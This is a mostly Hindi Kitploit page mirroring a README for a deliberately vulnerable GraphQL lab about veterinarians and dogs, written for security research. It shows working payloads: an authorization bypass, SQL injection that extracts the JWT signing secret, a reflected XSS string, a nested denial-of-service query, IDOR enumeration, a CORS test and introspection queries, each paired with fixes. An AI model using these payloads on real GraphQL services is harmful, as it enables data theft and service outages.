Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
poc-graphql — AppSec दृष्टिकोण से GraphQL पर अनुसंधान। | Kitploit
उपकरण/GitHubGitHub/righettod/poc-graphql
भेद्यता विश्लेषणवेब एप्लिकेशन शोषणएपीआई सुरक्षा परीक्षणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यासArchived
GitHubrighettod/poc-graphql

poc-graphql

AppSec दृष्टिकोण से GraphQL पर अनुसंधान।

रिपॉजिटरी देखें
418593 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Build and deploy the image

विषय सूची

  • विषय सूची
  • ग्राफ़क्यूएल पर शोध
    • उद्देश्य
    • प्रयोगशालाएँ
    • डॉकर पर तैनाती
    • सुरक्षा कमज़ोरियाँ
      • प्राधिकरण
        • समस्या
        • सिफारिश
      • इंजेक्शन
        • समस्या
        • सिफारिश
      • संसाधन की कमी
        • समस्या
        • सिफारिश
      • निजी डेटा का रिसाव
        • समस्या
        • सिफारिश
      • अप्रत्याशित त्रुटि पर तकनीकी जानकारी का रिसाव
        • समस्या
        • सिफारिश
      • असुरक्षित प्रत्यक्ष वस्तु संदर्भ
        • समस्या
      • एपीआई को गलत क्लाइंट क्षेत्र में उजागर करना
        • समस्या
          • सब्सक्रिप्शन वेबसॉकेट एंडपॉइंट डिफ़ॉल्ट सक्षमता
          • क्रॉस-ओरिजिन संसाधन साझाकरण डिफ़ॉल्ट सक्षमता
        • सिफारिश
    • खोज क्वेरीज़
    • उपयोग किए गए संदर्भ
      • ग्राफ़क्यूएल
      • प्रयोगशालाएँ

ग्राफ़क्यूएल पर शोध

उद्देश्य

  1. ग्राफ़क्यूएल क्या है, इसका अध्ययन करें।
  2. एप्लिकेशन सुरक्षा दृष्टिकोण से ग्राफ़क्यूएल के उपयोग का विश्लेषण करें (हमले और बचाव)।
  3. संभावित कमज़ोरियों की पहचान करें जिनका उपयोग हमलों के लिए किया जा सकता है।

प्रयोगशालाएँ

विभिन्न समस्याओं का अध्ययन करने के लिए एक प्रयोगशाला बनाई गई है, यह कुत्तों की स्वास्थ्य देखभाल करने वाले पशु चिकित्सालय के संदर्भ में है।

प्रयोगशाला को IntelliJ IDEA Community Edition का उपयोग करके विकसित किया गया था।

उपयोग किए गए डोमेन निम्नलिखित हैं:```text

Define in host file

127.0.0.1 localhost 127.0.0.1 domain1.local 127.0.0.1 domain2.local

root@kitploit:~
प्रयोगशाला की शर्तें और धारणाएँ इस प्रकार हैं:

* एक पशुचिकित्सक (Veterinary) 0 या N कुत्तों से संबद्ध हो सकता है।
* एक कुत्ता 0 या 1 पशुचिकित्सक से संबद्ध हो सकता है।
* एक पशुचिकित्सक के पास संग्रहण प्रणाली (डेटाबेस) में **लोकप्रियता (Popularity)** नामक एक गुण मौजूद है, लेकिन GraphQL क्लाइंट द्वारा इस तक पहुँच नहीं की जानी चाहिए क्योंकि यह एक संवेदनशील जानकारी है।
* GraphQL डेटा खपत का दृष्टिकोण पशुचिकित्सक का है। कुत्तों की जानकारी सार्वजनिक है।
* प्रयोगशाला स्पष्ट रूप से एक असुरक्षित अनुप्रयोग है जिसमें कई कमज़ोरियाँ कार्यान्वित की गई हैं, और टिप्पणियों में `[VULN]` मार्कर का उपयोग करके इन्हें पहचाना जाता है।
* प्रमाणीकरण के संबंध में, एक नकली तृतीय-पक्ष सेवा (एक सर्वलेट के माध्यम से) कार्यान्वित की गई है, जो टोकन में पशुचिकित्सक का नाम युक्त एक JWT टोकन लौटाती है।

प्रोजेक्ट में मौजूद लॉन्च कॉन्फ़िगरेशन या कमांड लाइन `mvn spring-boot:run` के माध्यम से एक बार प्रारंभ होने पर, प्रयोगशाला निम्नलिखित एंडपॉइंट्स पर उपलब्ध होती है:

* [GraphiQL](http://localhost:8080/graphiql)
* [GraphQL](http://localhost:8080/graphql)

एप्लिकेशन को पोर्टेबल jar फ़ाइल के रूप में पैकेज करने के लिए, `mvn package` कमांड का उपयोग करें (एक पूर्व-निर्मित jar फ़ाइल [यहाँ](https://github.com/righettod/poc-graphql/releases) उपलब्ध है):
* jar फ़ाइल *target* फ़ोल्डर में बनाई जाएगी और इसका नाम *graphql-poc.jar* होगा।
* एप्लिकेशन को चलाने के लिए `java -jar graphql-poc.jar` कमांड का उपयोग करें।

## Docker पर तैनात करना

> यह छवि प्रतिदिन [DockerHub](https://hub.docker.com/r/righettod/poc-graphql) पर प्रकाशित होती है

एप्लिकेशन को डॉकर कंटेनर में तैनात करने के लिए निम्नलिखित चरणों का पालन करें:

1. सुनिश्चित करें कि आपके पास `docker` स्थापित है।
2. `git clone` रिपॉजिटरी।
3. क्लोन किए गए निर्देशिका में जाएँ।
4. `docker build -t poc-graphql .` का उपयोग करके डॉकर इमेज बनाएँ।
5. अब आपकी मशीन पर **poc-graphql:latest** नामक एक इमेज बन गई है।
6. `docker run -p 8080:8080 poc-graphql:latest` का उपयोग करके कंटेनर चलाएँ।
7. निम्नलिखित एंडपॉइंट्स का उपयोग करके प्रयोगशाला तक पहुँचें:
   * [GraphiQL](http://localhost:8080/graphiql)
   * [GraphQL](http://localhost:8080/graphql)

## सुरक्षा कमज़ोरियाँ

### प्राधिकरण (Authorization)

*टूटा हुआ अभिगम नियंत्रण (broken access control)*

[CWE-285](https://cwe.mitre.org/data/definitions/285.html)

#### मुद्दा (Issue)

चूँकि GraphQL एक एकल एंडपॉइंट पर आधारित है जिस पर प्रत्येक अनुरोध भेजा जाता है और चूँकि प्राधिकरण विनिर्देश के दायरे से बाहर है (कोई अंतर्निहित सुविधाएँ नहीं)।

यह एप्लिकेशन पर निर्भर है कि वह एक प्राधिकरण तर्क (authorization logic) को लागू करे।

मेरी प्रयोगशालाओं में इस बिंदु पर मेरे पास एक कमज़ोरी है, क्योंकि अभिगम टोकन (access token) का सत्यापन यह सत्यापित नहीं करता है कि टोकन **veterinaryId** में पारित पशुचिकित्सक का है या नहीं।

**उदाहरण:**

मैं **Dr Julien** के लिए एक अभिगम टोकन माँगता हूँ जिसका भंडारण में पहचानकर्ता **3** है, यह GraphQL अनुरोध भेजकर:```javascript
query getAccessToken {
  auth(veterinaryName: "Julien")
}

मुझे निम्नलिखित GraphQL प्रतिक्रिया में एक्सेस टोकन प्राप्त होता है:```javascript { "data": { "auth": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI" } }

root@kitploit:~
मैं प्राप्त एक्सेस टोकन का उपयोग करके क्वेरी `myInfo(...)` पर एक GraphQL अनुरोध भेजता हूँ लेकिन मैं पहचानकर्ता **2** निर्दिष्ट करता हूँ जो **Dr Benoit** का है:```javascript
query brokenAccessControl {
  myInfo(accessToken:"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI", veterinaryId: 2){
    id, name, dogs {
      name
    }
  }
}

मुझे GraphQL प्रतिक्रिया में Dr Benoit से जुड़े Dogs की सूची प्राप्त होती है:```javascript { "data": { "myInfo": { "id": 2, "name": "Benoit", "dogs": [ { "name": "Babou" }, { "name": "Baboune" }, { "name": "Babylon" }, ...

root@kitploit:~
#### Reco

GraphQL के साथ हम `Role x Feature` का उपयोग करने वाले प्राधिकरण मैट्रिक्स से `Role x Data` का उपयोग करने वाले डेटा स्तर की सुरक्षा की ओर बढ़ गए हैं, क्योंकि यह भी एक एकल एंडपॉइंट है। उपयोगकर्ता की पहचान और भूमिकाओं को शीर्ष परत पर भेजा जाना चाहिए जो डेटा प्राप्त करने (या उस पर कार्य करने) के लिए जिम्मेदार है, ताकि डेटा प्राप्त करने से पहले उपयोगकर्ता की पहचान का उपयोग करके सत्यापन लागू किया जा सके।

### इंजेक्शन

[CWE-20](https://cwe.mitre.org/data/definitions/20.html) / [CWE-116](https://cwe.mitre.org/data/definitions/116.html)

#### मुद्दा

GraphQL सर्वर द्वारा डेटास्टोर पर कार्य करने के लिए GraphQL अनुरोध क्वेरी/म्यूटेशन/सब्सक्रिप्शन से प्राप्त जानकारी का उपयोग कैसे किया जाता है, इसके अनुसार इंजेक्शन की संभावना है।

मेरी लैब्स में, मेरे पास क्वेरी `dogs(namePrefix: String, limit: Int = 500): [Dog!]` में SQLi के बारे में इस बिंदु पर एक कमजोरी है, क्योंकि पैरामीटर **namePrefix** का उपयोग SQL क्वेरी बनाने के लिए स्ट्रिंग संयोजन में किया जाता है।

**उदाहरण:**

मैं `CONFIG` तालिका की सामग्री को सूचीबद्ध करने के लिए यह GraphQL अनुरोध भेजता हूं```javascript
query sqli {
  dogs(namePrefix: "ab%' UNION ALL SELECT 50 AS ID, C.CFGVALUE AS NAME, NULL AS VETERINARY_ID FROM CONFIG C LIMIT ? -- ", limit: 1000) {
    id
    name
  }
}

मुझे GraphQL प्रतिक्रिया में JWT टोकन पर हस्ताक्षर करने के लिए उपयोग किए जाने वाले गुप्त कोड के साथ उस कुत्ते का नाम मिलता है जिसका नाम ab से शुरू होता है:```javascript { "data": { "dogs": [ { "id": 1, "name": "Abi" }, { "id": 2, "name": "Abime" }, { "id": 50, "name": "$Nf!S?(.}DtV2~:Txw6:?;D!M+Z34^" } ] } }

root@kitploit:~
XSS के बारे में, यह ध्यान देने योग्य है कि भेजे गए अनुरोध पर सत्यापन विफल होने की स्थिति में GraphQL प्रतिक्रिया भेजे गए पैरामीटर को प्रतिबिंबित करती है।

**उदाहरण:**

मैं यह GraphQL अनुरोध क्वेरी `myInfo(accessToken: String!, veterinaryId: Int!): Veterinary` को भेजता हूं, मैं Veterinary पहचानकर्ता (जो एक पूर्णांक है) को एक String XSS पेलोड से बदल देता हूं:```javascript
query xss {
  myInfo(accessToken: "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDU1MDQwfQ.P87Ef-GM99a_vzzbUf2RprUYxFgxgPnSukaVnz22BJ0",
    veterinaryId: "<script>alert('XSS')</script>") {
    id
  }
}

मुझे यह GraphQL प्रतिक्रिया प्राप्त होती है जो मेरे payload को प्रतिबिंबित करती है, इसलिए, GraphQL क्लाइंट और इसके escaping/sanitizing व्यवहार के आधार पर, यह XSS का द्वार खोल सकता है:```javascript { "data": null, "errors": [ { "message": "Validation error of type WrongType: argument 'veterinaryId' with value 'StringValue{value=''}' is not a valid 'Int' @ 'myInfo'", "locations": [ { "line": 3, "column": 5, "sourceName": null } ], "description": "argument 'veterinaryId' with value 'StringValue{value=''}' is not a valid 'Int'", "validationErrorType": "WrongType", "queryPath": [ "myInfo" ], "errorType": "ValidationError", "path": null, "extensions": null } ] }

root@kitploit:~
#### अनुशंसा

* क्वेरी/म्यूटेशन/सब्सक्रिप्शन के माध्यम से प्राप्त डेटा पर उपयोग करने से पहले इनपुट सत्यापन लागू करें
* सुनिश्चित करें कि ग्राफक्यूएल प्रतिक्रिया से डेटा रेंडर करने वाला क्लाइंट डेटा को रेंडर करने से पहले उस पर एस्केपिंग/सैनिटाइजेशन लागू करे।

### संसाधन थकावट

[CWE-400](https://cwe.mitre.org/data/definitions/400.html)

#### मुद्दा

चूंकि क्लाइंट अनुरोधित डेटा की मात्रा को नियंत्रित करता है, यह एक ऐसा GrapQL अनुरोध भेज सकता है जो GraphQL सर्वर द्वारा जिन स्टोरेज को कॉल किया जाता है और साथ ही JSON में डेटा के सीरियलाइजेशन के लिए GraphQL सर्वर पर ही संसाधन थकावट का कारण बनता है।

यह समस्या म्यूटेशन का उपयोग करके भी हो सकती है, जिसमें पैरामीटर में बड़ी मात्रा में डेटा भेजा जाता है (इस हमले को रोकने के लिए यहां इनपुट सत्यापन का उपयोग किया जा सकता है)।

यह समस्या सब्सक्रिप्शन का उपयोग करके भी हो सकती है, या तो:

* बड़ी संख्या में सब्सक्राइबर पंजीकृत करके और प्रत्येक खुले सब्सक्रिप्शन पर।
* सब्सक्रिप्शन द्वारा उपयोग किए जाने वाले पैरामीटर में बड़ी मात्रा में डेटा भेजकर।

मेरी प्रयोगशालाओं में, मेरे पास इस बिंदु पर क्वेरी के लिए एक कमजोरी है, विशेष रूप से क्वेरी `allDogs(onlyFree: Boolean = false, limit: Int = 500): [Dog!]` में जो अज्ञात उपयोगकर्ता के लिए उपलब्ध है और DB से Dog के बारे में सामग्री प्राप्त करती है। चूंकि Dogs और Veterinary के बीच संबंध है और इसका विपरीत भी, इसलिए कैस्केडिंग कॉल करना संभव है जो DB पर SQL स्तर पर संसाधन थकावट का कारण बनता है।

**उदाहरण:**

जब मैं यह अनुरोध भेजता हूं, तो मैं अपने CPU को कई मिनटों तक 100% पर जाने का कारण बनता हूं और मेरा DB स्थानीय है क्योंकि यह SQLite है:

{ allDogs { name veterinary { dog { name ... } } } }

root@kitploit:~
query dos {
  allDogs(onlyFree: false, limit: 1000000) {
    id
    name
    veterinary {
      id
      name
      dogs {
        id
        name
        veterinary {
          id
          name
          dogs {
            id
            name
            veterinary {
              id
              name
              dogs {
                id
                name
                veterinary {
                  id
                  name
                  dogs {
                    id
                    name
                    veterinary {
                      id
                      name
                      dogs {
                        id
                        name
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}
```
![PROOF00](https://assets.kitploit.com/production/public/readmes/6114/94bd51eb6f582698584bc019c5939b18784e585f8140ee7e0eaf0aea82ac78b5.png)

#### अनुशंसा

**क्वेरी (Query) के लिए:**

प्रयुक्त GraphQL सर्वर के कार्यान्वयन के आधार पर, **अधिकतम क्वेरी गहराई** और **क्वेरी जटिलता** के लिए प्रदान की गई बिल्ट-इन सुरक्षा का उपयोग करें (यहाँ [विवरण देखें](https://www.howtographql.com/advanced/4-security/)).

Java कार्यान्वयन के लिए, निष्पादन रणनीति में ये 2 इंस्ट्रुमेंटेशन क्लास जोड़ें:

* [क्वेरी जटिलता के विरुद्ध सुरक्षा](https://github.com/graphql-java/graphql-java/blob/master/src/main/java/graphql/analysis/MaxQueryComplexityInstrumentation.java)
* [क्वेरी गहराई के विरुद्ध सुरक्षा](https://github.com/graphql-java/graphql-java/blob/master/src/main/java/graphql/analysis/MaxQueryDepthInstrumentation.java)

उपरोक्त दो इंस्ट्रुमेंटेशन के उपयोग के उदाहरण के लिए यह [क्लास](https://github.com/righettod/poc-graphql/blob/HEAD/src/main/java/eu/righettod/graphqlpoc/Application.java) देखें।

**म्यूटेशन/सब्सक्रिप्शन के लिए:**

* आने वाले स्वीकृत डेटा के आकार को सीमित करने के लिए इनपुट सत्यापन का उपयोग करें।
* कोड स्तर पर सब्सक्राइबर्स की सीमा जोड़ें।

### निजी डेटा का एक्सपोज़र

[CWE-359](https://cwe.mitre.org/data/definitions/359.html)

#### समस्या

GraphQL के साथ, क्लाइंट को API स्कीमा तक पहुँचने के लिए एक [इंट्रोस्पेक्शन सुविधा](https://graphql.org/learn/introspection/) प्रदान की जाती है ताकि उपलब्ध डेटा, क्वेरी और उन पर म्यूटेशन और सब्सक्रिप्शन की खोज की जा सके।

**नोट:** *इंट्रोस्पेक्शन* को अक्षम करना आपके सर्वर को GraphQL विनिर्देश और अधिकांश क्लाइंट की अपेक्षाओं के विरुद्ध रखता है, इसलिए इसे सावधानी से उपयोग करें; अक्षम करने के बजाय पहुँच को फ़िल्टर करना पसंद करें, व्यावसायिक दृष्टिकोण से।

इसका तात्पर्य है कि कोई भी क्लाइंट स्कीमा में गहराई से जाकर देख सकता है कि क्या `Type` में कोई दिलचस्प संवेदनशील जानकारी उजागर हुई है (यही बात `Mutation` या `Subscription` पर की गई कार्रवाई पर भी लागू होती है)।

[GraphiQL](https://github.com/graphql/graphiql) का उपयोग **Documentation Explorer** पैनल के माध्यम से या इस [स्क्रिप्ट](https://github.com/doyensec/graph-ql/) का उपयोग करके, GraphQL एंडपॉइंट से उजागर स्कीमा को ब्राउज़ करना संभव है।

मेरी प्रयोगशाला में, मैंने गलती से एक पशु चिकित्सक के बारे में **लोकप्रियता** की जानकारी, जिसे संवेदनशील माना जाता है, **Veterinary** प्रकार में उजागर कर दी थी।

मेरी प्रयोगशाला में, यह [यूआरएल](http://localhost:8080/graphql/schema.json) स्कीमा की एक प्रति प्राप्त करने की अनुमति देता है।

**उदाहरण:**

**Documentation Explorer** पैनल का उपयोग करके, मुझे यह फ़ील्ड मिली:

![PROOF01](https://assets.kitploit.com/production/public/readmes/6114/62e2ba27f0fba4dd7b7206deb6c7f2aaf87ddc15cbc34e1e21f5316ab55f8fa7.png)

![PROOF02](https://assets.kitploit.com/production/public/readmes/6114/f24f24383235854fd3bee4019bf54bfdd0ea459085994ccd00671d1ba0263c82.png)

![PROOF03](https://assets.kitploit.com/production/public/readmes/6114/7710458ec42a916e212753c984ef932796aaa1c243503b85ed87bab628e2b60d.png)

#### अनुशंसा

GraphQL एंडपॉइंट तक पहुँच पर प्रमाणीकरण बाधा लागू की जा सकती है ताकि अनाम उपयोगकर्ता को एक्सपोज़र से रोका जा सके, लेकिन कोई भी प्रमाणित उपयोगकर्ता इस जानकारी स्कीमा तक पहुँच प्राप्त करेगा।

भले ही कोई क्लाइंट संवेदनशील जानकारी प्रदर्शित करने वाले प्रकार की संरचना देख सकता है, इस जानकारी को देखने के लिए, उसे इस डेटा को लौटाने वाले Query/Mutation/Subscription की अनुमति होनी चाहिए।

संवेदनशील जानकारी को स्कीमा में परिभाषित प्रकार में मैप न करें।

चूँकि GraphQL इस बात को ठोस रूप देता है कि क्लाइंट डेटा का उपभोग कैसे करेगा, इसलिए GraphQL को लिंक किए गए भंडारण में उपलब्ध सभी डेटा को उजागर नहीं करना चाहिए, बल्कि केवल वही डेटा उजागर करना चाहिए जो उनके लिए व्यावसायिक संदर्भ के अनुसार उपयोगी हो।

### अप्रत्याशित त्रुटि के मामले में तकनीकी जानकारी का एक्सपोज़र

[CWE-200](https://cwe.mitre.org/data/definitions/200.html)

#### समस्या

जब GraphQL सर्वर को अप्रत्याशित त्रुटि का सामना करना पड़ता है (I/O भंडारण के साथ, NullPointerException, Timeout...), तो प्रतिक्रिया *Internal Server Error(s) while executing query* इंगित करती है, इसलिए यह हमलावर को संकेत देता है कि उसने सिस्टम पर कार्य किया है और अप्रत्याशित व्यवहार उत्पन्न किया है।

**उदाहरण:**

जब मैं अपनी प्रयोगशाला में यह अनुरोध क्वेरी भेजता हूँ (अमान्य टोकन):```javascript
query testErrorHandling {
  myInfo(accessToken:"aaaa", veterinaryId: 2){
    id, name, dogs {
      name,veterinary{
        name
      }
    }
  }
}
```
मुझे यह प्रतिक्रिया मिलती है जो मुझे सूचित करती है कि मैंने सिस्टम पर कार्य किया है और अप्रत्याशित व्यवहार उत्पन्न किया है। उदाहरण के लिए, मैंने ऐप लॉग पर एक स्टैक ट्रेस उत्पन्न किया हो सकता है और यदि ऐप लॉग फ़ाइलें तिथि (दैनिक) के आधार पर घूम रही हैं और आकार के आधार पर नहीं, तो मैं इस अनुरोध को कई बार भेज सकता हूं ताकि डिस्क त्रुटि लॉग से भर जाए...```javascript
{
  "data": {
    "myInfo": null
  },
  "errors": [
    {
      "message": "Internal Server Error(s) while executing query",
      "path": null,
      "extensions": null
    }
  ]
}
```
#### अनुशंसा

यदि कोई अप्रत्याशित त्रुटि मिलती है तो एक सामान्य त्रुटि लौटाएं, उदाहरण के लिए **Query cannot be processed!**

इस [क्लास](https://github.com/righettod/poc-graphql/blob/HEAD/src/main/java/eu/righettod/graphqlpoc/security/ErrorHandler.java) में एक उदाहरण देखें।

### असुरक्षित प्रत्यक्ष वस्तु संदर्भ (IDOR)

[CWE-639](https://cwe.mitre.org/data/definitions/639.html)

#### समस्या

यदि GrapQL API उन Query/Mutation/Subscription को उजागर करता है जिनके लिए डेटा पहचानकर्ता अनुमान लगाने योग्य/पूर्वानुमानित है, तो Query/Mutation/Subscription IDOR हमले के लिए उजागर होते हैं जिसमें हमलावर पहचानकर्ताओं की एक कस्टम बनाई गई सूची का उपयोग करेगा ताकि उस सूची के भाग एक पहचानकर्ता वाले डेटा तक पहुंचने या उस पर कार्य करने का प्रयास किया जा सके और यदि लक्ष्य Query/Mutation/Subscription जो लक्षित डेटा को संभालता है, पर प्राधिकरण समस्या भी मौजूद है तो कार्रवाई सफल हो जाएगी।

मेरी लैब द्वारा प्रस्तावित GraphQL API Query/Mutation/Subscription IDOR के प्रति कमजोर हैं क्योंकि मैं Dog और Veterinary के लिए अद्वितीय पहचानकर्ता के रूप में अनुक्रमिक पूर्णांक का उपयोग करता हूं।

**उदाहरण:**

GraphiQL के **Documentation Explorer** का उपयोग करके हम देखते हैं कि पहचानकर्ता सरल पूर्णांक हैं और अनुक्रमिक हैं:

![PROOF04](https://assets.kitploit.com/production/public/readmes/6114/f0561e43bc9de70e35452a5e478906cfd0f5f3e16dd3e5aa1991bb3ad795c5c8.png)

![PROOF05](https://assets.kitploit.com/production/public/readmes/6114/4449ef9abbfaa08ef59579e6e122269cbaf7b41250be6ed7a272833be19a0498.png)

IDOR का पता लगाने के लिए अनुरोध क्वेरी:```javascript
query detectIDOR {
  allDogs{
    id,veterinary{
      id
    }
  }
}
```
प्रतिक्रिया कुत्ते और पशुचिकित्सा के लिए अनुक्रमिक पहचानकर्ता दिखाती है:```javascript
{
  "data": {
    "allDogs": [
      {
        "id": 1,
        "veterinary": {
          "id": 1
        }
      },
      {
        "id": 2,
        "veterinary": {
          "id": 1
        }
      },
      {
        "id": 3,
        "veterinary": {
          "id": 1
        }
      },
  ...
  {
        "id": 55,
        "veterinary": {
          "id": 2
        }
      },
      {
        "id": 56,
        "veterinary": {
          "id": 2
        }
      },
      {
        "id": 57,
        "veterinary": {
          "id": 2
        }
      },
      {
        "id": 58,
        "veterinary": {
          "id": 2
        }
      },
      {
        "id": 59,
        "veterinary": {
          "id": 2
        }
  ...
```
### ग्राहकों के गलत क्षेत्र में API का प्रदर्शन

[CWE-668](https://cwe.mitre.org/data/definitions/668.html)

#### समस्या

जब आप अपनी GraphQL API बनाने के लिए GraphQL कार्यान्वयन सर्वर का उपयोग करते हैं, तो ऐसा हो सकता है कि यह *डिफ़ॉल्ट रूप से* कुछ सुविधाओं को सक्षम करे जो GraphQL API को ग्राहकों के गलत क्षेत्र में उजागर करती हैं।

##### सब्सक्रिप्शन WebSocket एंडपॉइंट डिफ़ॉल्ट सक्षमीकरण

मेरी प्रयोगशाला में ऐसा है क्योंकि डिफ़ॉल्ट रूप से, पथ `/subscriptions` पर एक WebSocket एंडपॉइंट उजागर होता है और इसे किसी प्रमाणीकरण की आवश्यकता नहीं होती है (देखें यह [दस्तावेज़](https://www.howtographql.com/basics/2-core-concepts/) विशेष रूप से अनुभाग *Realtime Updates with Subscriptions*):

![PROOF08](https://assets.kitploit.com/production/public/readmes/6114/d395d1a55ea7951321b30becdf27ed7d94281eedab90ed5db726d72555271367.png)

यदि स्कीमा `Subscription` अनुभाग में सब्सक्रिप्शन घोषित करता है तो ग्राहक इस एंडपॉइंट के माध्यम से API डेटा तक पहुंच प्राप्त कर सकते हैं।

**उदाहरण:**

मैं स्कीमा के माध्यम से उजागर सब्सक्रिप्शन देख सकता हूं:

![PROOF09](https://assets.kitploit.com/production/public/readmes/6114/55580336b8ca443e8a62ac2c3ef55555805276398e488303e77dd46c9cdf95d1.png)

यदि मैं *newAssociation* सब्सक्रिप्शन से घटना प्राप्त करने के लिए यह सब्सक्रिप्शन अनुरोध भेजता हूं:```javascript
subscription subscribeToNewAssociation{
  newAssociation
}
```
मुझे निम्नलिखित संदेश प्राप्त होता है जो दर्शाता है कि अब से, मुझे इस सदस्यता से जानकारी प्राप्त होगी:```text
Your subscription data will appear here after server publication!
```
और जब मैं दूसरे ब्राउज़र में इस mutation request के माध्यम से एक association बनाता हूं, उदाहरण के लिए:```javascript
mutation associateDog{
  	associateDogToMe(accessToken: "eyJ0eXAiOiJKV1Qi...", veterinaryId: 4, dogId: 198){
    name
  }
}
```
उत्परिवर्तन प्रतिक्रिया साबित करती है कि कार्रवाई डेटा स्तर पर की गई है:```javascript
{
  "data": {
    "associateDogToMe": {
      "name": "Dobby"
    }
  }
}
```
एक पल बाद, मुझे अपने सब्सक्रिप्शन के जवाब में यह सूचना प्राप्त होती है:```javascript
{
  "newAssociation": "Dog['Dobby'] associated with Veterinary['Maxime']."
}
```
![PROOF10](https://assets.kitploit.com/production/public/readmes/6114/d16d4a36df8b0debf31bba4b07b813cb56241cbe591cd1a474f47aeeeef1eb3d.png)

##### क्रॉस-ओरिजिन रिसोर्स शेयरिंग डिफ़ॉल्ट रूप से सक्षम

मेरी प्रयोगशाला में ऐसा इसलिए है क्योंकि डिफ़ॉल्ट रूप से [CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS) सक्षम है और `*` पर सेट है, जिससे API को किसी भी `origin` द्वारा कॉल किया जा सकता है।

**उदाहरण:**

जब मैं यह अनुरोध भेजता हूँ जिसमें मैं *domain1.local* से *domain2.local* के लिए एक अलग `origin` निर्दिष्ट करता हूँ:```text
POST /graphql HTTP/1.1
Host: domain2.local:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: application/json
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
content-type: application/json
origin: http://domain1.local:8080
referer: http://domain1.local:8080
Content-Length: 104
DNT: 1
Connection: close
Pragma: no-cache
Cache-Control: no-cache

{"query":"query testCORS {\n  allDogs{\n    name\n  }\n}\n","variables":null,"operationName":"testCORS"}
```
I receive this response:```text
HTTP/1.1 200 OK
Connection: close
Access-Control-Allow-Origin: *
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Content-Type: application/json;charset=UTF-8
Content-Length: 3562
Date: Sat, 05 Jan 2019 16:23:47 GMT

{"data":{"allDogs":[{"name":"Abi"},...
```
Call from a browser:

![PROOF06](https://assets.kitploit.com/production/public/readmes/6114/f3b510f63ccfb02205077f80ab0a3aecc89828e7648fbc57df10315456e1b92b.png)

![PROOF07](https://assets.kitploit.com/production/public/readmes/6114/d1e1d8b993ca30df19159ce8e9283d90130fd3122beed521a8563cd628b10f82.png)

#### अनुशंसा

डिफ़ॉल्ट रूप से सक्षम सुविधाओं की जाँच करें और यदि वे API के संपर्क को प्रभावित करती हैं तो उन्हें अक्षम करें।

सब्सक्रिप्शन एंडपॉइंट के लिए:

* यदि आप सब्सक्रिप्शन को एक्सपोज़ करते हैं तो सुनिश्चित करें कि स्कीमा में एक्सपोज़ किए गए प्रत्येक सब्सक्रिप्शन पर प्रमाणीकरण और एक्सेस नियंत्रण मौजूद हो।
* यदि आप सब्सक्रिप्शन को एक्सपोज़ नहीं करते हैं तो WebSocket एंडपॉइंट को अक्षम करें या WAF/एप्लिकेशन सर्वर स्तर पर इस एंडपॉइंट को ब्लॉक करें।

मेरे लैब में, इस [कॉन्फ़िगरेशन फ़ाइल](https://github.com/righettod/poc-graphql/blob/HEAD/src/main/resources/application.properties) में निम्नलिखित विकल्प सेट करने थे:

* CORS के लिए: `graphql.servlet.corsEnabled=false`
* WebSocket के लिए: `graphql.servlet.websocket.enabled=false`

## खोज क्वेरीज़

स्कीमा प्राप्त करने के लिए निम्नलिखित क्वेरीज़ का उपयोग किया जा सकता है।

गैर-विस्तृत:```javascript
{
    __schema {
        types {
            name
            kind
            description
            fields {
                name
            }
        }
    }
}
```
विस्तृत:```javascript
 query IntrospectionQuery {
  __schema {
	  queryType {
		  name
	  }
	  mutationType {
		  name
	  }
	  subscriptionType {
		  name
	  }
	  types {
		  ...FullType
	  }
	  directives {
		  name
		  description
		  locations
		  args {
			  ...InputValue
		  }
	  }
  }
}

fragment FullType on __Type {
  kind
  name
  description
  fields(includeDeprecated: true) {
	  name
	  description
	  args {
		  ...InputValue
	  }
	  type {
		  ...TypeRef
	  }
	  isDeprecated
	  deprecationReason
  }
  inputFields {
	  ...InputValue
  }
  interfaces {
	  ...TypeRef
  }
  enumValues(includeDeprecated: true) {
	  name
	  description
	  isDeprecated
	  deprecationReason
  }
  possibleTypes {
	  ...TypeRef
  }
}

fragment InputValue on __InputValue {
  name
  description
  type {
	  ...TypeRef
  }
  defaultValue
}

fragment TypeRef on __Type {
  kind
  name
  ofType {
	  kind
	  name
	  ofType {
		  kind
		  name
		  ofType {
			  kind
			  name
			  ofType {
				  kind
				  name
				  ofType {
					  kind
					  name
					  ofType {
						  kind
						  name
						  ofType {
							  kind
							  name
						  }
					  }
				  }
